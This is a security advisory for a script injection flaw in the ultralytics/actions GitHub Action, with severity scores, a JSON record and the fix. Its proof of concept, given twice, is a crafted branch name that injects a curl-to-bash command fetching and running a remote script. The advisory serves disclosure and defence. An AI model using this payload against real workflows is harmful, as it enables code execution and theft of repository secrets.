GHSA-7X29-QQMQ-V6QC

Vulnerability from github – Published: 2024-08-14 20:53 – Updated: 2024-11-18 16:27
VLAI
Summary
GitHub Actions Script Injection in `ultralytics/actions`
Details

Summary

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.

Details

The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:

        echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
        echo "github.ref: ${{ github.ref }}"
        echo "github.head_ref: ${{ github.head_ref }}"
        echo "github.base_ref: ${{ github.base_ref }}"

In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.

PoC

  1. Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pull_request_target.

  2. In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

  3. Create a draft pull request.

  4. If the action is reachable, then achieve arbitrary code execution.

ultra_cve_poc

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

Impact

Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.

Fix

Sanitize the user-controlled variables using environment vars.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
7.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.2"
      },
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "ultralytics/actions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-14T20:53:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n        echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n        echo \"github.ref: ${{ github.ref }}\"\n        echo \"github.head_ref: ${{ github.head_ref }}\"\n        echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.",
  "id": "GHSA-7x29-qqmq-v6qc",
  "modified": "2024-11-18T16:27:04Z",
  "published": "2024-08-14T20:53:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ultralytics/actions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitHub Actions Script Injection in `ultralytics/actions`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.